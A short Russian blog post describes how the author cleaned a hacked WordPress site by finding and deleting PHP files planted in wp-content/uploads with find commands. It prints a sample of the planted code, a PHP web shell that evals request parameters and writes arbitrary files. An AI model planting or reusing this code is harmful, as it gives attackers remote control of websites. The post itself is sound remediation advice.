Удалить все php файлы в папке wp-content/uploads

Не так давно столкнулся с проблемой — сайт на WordPress одного из моего товарищей был взломан.

Исполняемый код был помещен в wp-content/uploads, не конкретно в указанную папку, а в директориях, которые WordPress создает когда загружаются медиа-файлы:

Содержимое данных файлов примерно следующего вида:

$evefh = "2f4861e382e353e314b31d245bf46305"; if(isset($_REQUEST['zwmzyili'])) { $ouybnzqm = $_REQUEST['zwmzyili']; eval($ouybnzqm); exit(); } if(isset($_REQUEST['tntk'])) { $samt = $_REQUEST['jfcj']; $oiax = $_REQUEST['tntk']; $iujcskqs = fopen($oiax, 'w'); $dsuq = fwrite($iujcskqs, $samt); fclose($iujcskqs); echo $dsuq; exit();

После анализа было решено, что все файлы нужно удалить. Так как файлов было очень много и они были сохранены в различных директориях, а тратить время на поиск и переходы по папкам было лень — решил что Linux мне поможет (да, можно написать код на php и он все сделает — но это тоже время... притом я давно пользуюсь Linux и тут все есть в коробке 🙂 ).

Алгоритм действий следующий:

1. Перейдите в папку wp-content/uploads (я использую для этого console, ssh и linux):

cd wp-content/uploads

2. Просканируйте папку wp-content/uploads и попробуйте найти в ней незнакомые файлы:

find . -name "*.php"

Команда find в linux отвечает поиск.

3. После того, как вы убедились, что все файлы в данной папке можно удалить, выполните следующую команду:

find . -type f -name "*.php" -exec rm -f {} \;

Готово 🙂